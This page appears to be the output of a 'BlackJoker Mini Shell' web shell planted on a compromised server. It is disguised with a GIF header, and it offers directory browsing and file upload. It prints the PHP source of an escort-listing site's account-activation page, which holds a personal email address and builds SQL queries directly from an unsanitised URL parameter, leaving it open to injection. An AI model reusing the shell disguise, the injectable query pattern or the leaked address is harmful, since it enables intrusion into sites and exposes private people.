GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/avtar/
Upload File :
Current File : /home/serb/public_html/avtar/1458650360active.php

<? session_start();
 include("lib/globals.php");
 include("lib/common.php");
 include("lib/functions.php");
 ?>
<? include "includes/header_top.php";?>
<script language="javascript">

	function validate()
	{		
		
		
		 if((document.f2.acctype[0].checked == false) &&(document.f2.acctype[1].checked == false) && (document.f2.acctype[2].checked == false)  && (document.f2.acctype[3].checked == false)  && (document.f2.acctype[4].checked == false))

		{
			
			alert("Select Your Account Type");
			return false;
			

		}
		
	}

	

</script>


<body>
<? include "includes/header.php";?>

<div class="main_bg">

 		<div style="height:32px;"></div>
        <div  class="detailsescort">
        	<div style="height:42px;"></div>
            <div class="detailsmidescortheader">
        	  <h1 style="text-align:center !important;">Congratulation...</h1>
              <p style="text-align:center !important;"><img src="images/detailsdivider.png" style="padding-top:25px;" /></p>
           </div>
        <div class="joindetailstext">
                                        
                    <div style=" width:950px; margin:0 auto; font-family:'Open Sans',sans-serif; font-size:14px; color:#000;">
                 	<? 
                                if($_GET['id'])
                                {
                                $sql="SELECT * FROM user_info WHERE userid='".$_GET['id']."'";
                                $res=execute_query($sql);
                                $num=mysql_num_rows($res);
                                $row=mysql_fetch_array($res);
                                if($num>0)
                                {
                                    if($row['status']=='u')
                                    {
                                        $upd="UPDATE user_info SET status='a' WHERE userid='".$_GET['id']."'";
                                        execute_query($upd);
										
										
										$sql_postid="SELECT * FROM escort_details where user_id='".$_GET['id']."'";
										$res_postid=execute_query($sql_postid);
										$row_postid=mysql_fetch_array($res_postid);
										$desp=$row_postid['description'];
										$pid=$row_postid['id'];
											
										/*$sql_approveemail="SELECT * FROM approval_email";
										$res_approveemail=execute_query($sql_approveemail);
										$row_approveemail=mysql_fetch_array($res_approveemail);
										
										$to = $row_approveemail['emailid']; */
										$to = "subhrajyoti.mca11@gmail.com";										
										$subject="New Account Approval"; 
										/*$body="There is a new post on escortservice, awaiting approval.\r\n Account details:\r\n\r\nUsername:".$row_postid['nickname']."\r\nUserId:".$pid."\r\n\r\n".$desp."\r\n\r\n click the link below:http://escortservice.org/approve-post.php?id=".$pid;
						
										$headers = 'From: escortservice<support@escortservice.org>' . "\r\n" .
										'Reply-To: support@escortservice.org' . "\r\n" .
										'X-Mailer: PHP/' . phpversion();
										
										mail($to, $subject, $body, $headers);*/
										
										$body="<html>
												<head>
												  <title>New Account Approval needed for Escortservice</title>
												</head>
												<body>
												<table style='padding:10px; color:#000;'>
													<tr><th>There is a new post on escortservice, awaiting approval.</th></tr>
													<tr><td><br/></td></tr>
													<tr>
													  <td>Your account has been successfully created.</td>
													</tr>
													<tr>
													  <td>Below You will find your account details</td>
													</tr>
													<tr>
													  <td>Username:".$row_postid['nickname']."</td>
													</tr>
													<tr>
													  <td>Escort Id:".$row_postid['id']."</td>
													</tr>
													<tr>
													  <td>Description:".$desp."</td>
													</tr>
													
													<tr>
													  <td>click the link below:<a href='http://thedevlab.net/Avi-Dev/escortserv/approve-post.php?id=$pid' style='color:#AD0066;'>Click Here</a></td>
													</tr>
												  </table>
												</body>
												</html>";
												// To send HTML mail, the Content-type header must be set
												 $headers  = 'MIME-Version: 1.0' . "\r\n";
												$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
												
												// // Additional headers
												$headers .= 'From: escortservice <support@escortservice.org>' . "\r\n";
													
												//sendEmail($to, $subject, $body);
												mail($to, $subject, $body, $headers);	
											
											
                                ?>
                                    <p style="margin-left:15px; color:#AD0066; text-align:center; font-family: 'Roboto Condensed', sans-serif; font-size:15px; font-weight:bold;">Your account has been activated successfully.</p> 
                                <?
                                    }
                                    else
                                    {
                                ?>
                                      <p style="margin-left:15px; color:#AD0066; text-align:center; font-size:14px; font-weight:bold;">Your account already activated.</p> 
                                <?
                                    }
                                }
                                else
                                {
                                ?>
                                <p style="margin-left:15px; color:#AD0066; text-align:center; font-size:14px; font-weight:bold;">Invalid activation key.</p> 
                                <?
                                }
                            }
                            else
                            {
                            ?>
                            <script language="javascript">
                                location.href="index.php";
                            </script>
                            <? } ?> <br/><br/>
                            
                            
                    
                    
                      		       			
                 </div>
               </div>
        
        
        </div>
        <br/>   
 </div>



<? include "includes/footer.php";?>

./BlackJoker Mini Shell 1.0